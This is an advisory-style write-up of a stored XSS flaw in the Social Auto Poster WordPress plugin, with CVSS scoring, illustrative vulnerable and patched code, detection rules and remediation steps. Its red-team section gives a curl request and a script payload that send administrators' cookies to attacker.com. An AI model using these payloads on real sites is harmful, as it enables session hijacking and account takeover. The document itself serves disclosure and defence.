CVE-2024-6752

Executive Summary

CVE-2024-6752 is a Stored Cross-Site Scripting (XSS) vulnerability in the Social Auto Poster WordPress plugin, affecting all versions up to and including 5.3.14. The flaw resides in the wpw_auto_poster_map_wordpress_post_type AJAX function, where the wp_name parameter is insufficiently sanitized and escaped. This allows authenticated attackers with Subscriber-level access or higher to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the injected payload, the script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

As a WordPress plugin vulnerability, this issue is part of the broader WordPress ecosystem threat landscape. The plugin is used to automate social media posting, making it a common target for attackers seeking to compromise site integrity or steal sensitive data.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to verify the integrity of their plugin files and ensure they are sourced from trusted repositories. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation through malicious updates or third-party modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for authentication, but the low complexity and potential for privilege escalation via XSS make this a significant threat in multi-user WordPress environments.

Deep Dive & Mechanics

The vulnerability is triggered via the AJAX action wpw_auto_poster_map_wordpress_post_type. The wp_name parameter is passed to the server without proper sanitization or output escaping. When the plugin renders the stored data (e.g., in admin panels or post meta), the injected JavaScript executes.

Root Cause: The plugin uses $_POST['wp_name'] directly in database storage and later outputs it without escaping, likely via echo or _e() without esc_html() or wp_kses().

Attack Flow:

1. Attacker authenticates with Subscriber-level credentials.
2. Attacker sends a crafted AJAX request to /wp-admin/admin-ajax.php with action wpw_auto_poster_map_wordpress_post_type and a malicious wp_name parameter (e.g., <script>alert('XSS')</script>).
3. The plugin stores the payload in the WordPress database (e.g., post meta or options table).
4. When an administrator or other user views the affected page (e.g., plugin settings or post edit screen), the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In vulnerable version (<= 5.3.14)
add_action('wp_ajax_wpw_auto_poster_map_wordpress_post_type', 'handle_map_post_type');
function handle_map_post_type() {
    $wp_name = $_POST['wp_name'];
    update_option('wpw_auto_poster_map', $wp_name);
    // Later output without escaping
    echo $wp_name;
}

Patched Code (hypothetical):

// Patched version
add_action('wp_ajax_wpw_auto_poster_map_wordpress_post_type', 'handle_map_post_type');
function handle_map_post_type() {
    $wp_name = sanitize_text_field($_POST['wp_name']);
    update_option('wpw_auto_poster_map', $wp_name);
    echo esc_html($wp_name);
}

The patch would require input sanitization (e.g., sanitize_text_field()) and output escaping (e.g., esc_html() or wp_kses_post()).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Social Auto Poster plugin <= 5.3.14
• Valid user account with Subscriber role or higher
• Access to AJAX endpoint

Exploit Steps:

1. Log in as a subscriber.
2. Send the following AJAX request using a tool like Burp Suite or cURL:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=wpw_auto_poster_map_wordpress_post_type&wp_name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" \
  --cookie "wordpress_logged_in_xxx=..."

3. The payload is stored. When an admin visits the plugin settings page, the script executes, exfiltrating cookies.

Advanced Payload:

<script>
var img = new Image();
img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action wpw_auto_poster_map_wordpress_post_type and suspicious wp_name values.
• Look for stored XSS indicators in the wp_options table (option name wpw_auto_poster_map).

Hardening:

• Apply input validation and output escaping in custom code.
• Use Web Application Firewall (WAF) rules to block script tags in AJAX parameters.
• Restrict AJAX actions to higher-privileged users if possible.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=wpw_auto_poster_map_wordpress_post_type and wp_name containing <script> tags or base64-encoded JavaScript.
• File: Modified wp_options table entries with option_name wpw_auto_poster_map containing malicious scripts.
• Log: WordPress debug logs showing unexpected AJAX calls from subscriber accounts.
• Behavior: Unusual outbound connections from the WordPress server to external IPs/domains.

Detection Engineering

YARA Rule

rule CVE_2024_6752_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Social Auto Poster plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6752"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6752 Stored XSS via Social Auto Poster
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects AJAX requests with malicious wp_name parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=wpw_auto_poster_map_wordpress_post_type'
        cs-uri-query|contains|re: '(<script|onerror|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-6752 Stored XSS Attempt - Social Auto Poster";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wpw_auto_poster_map_wordpress_post_type"; http_client_body;
    pcre:"/(<script|onerror|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-6752;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict AJAX actions to administrators only via custom code or a security plugin.
3. Audit the database for stored XSS payloads in wp_options (option_name wpw_auto_poster_map).

Long-term Fix:

• Apply input sanitization (sanitize_text_field()) and output escaping (esc_html()) to all user-supplied data.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Monitor the plugin vendor for an official patch.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing <script> in the wp_name parameter.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert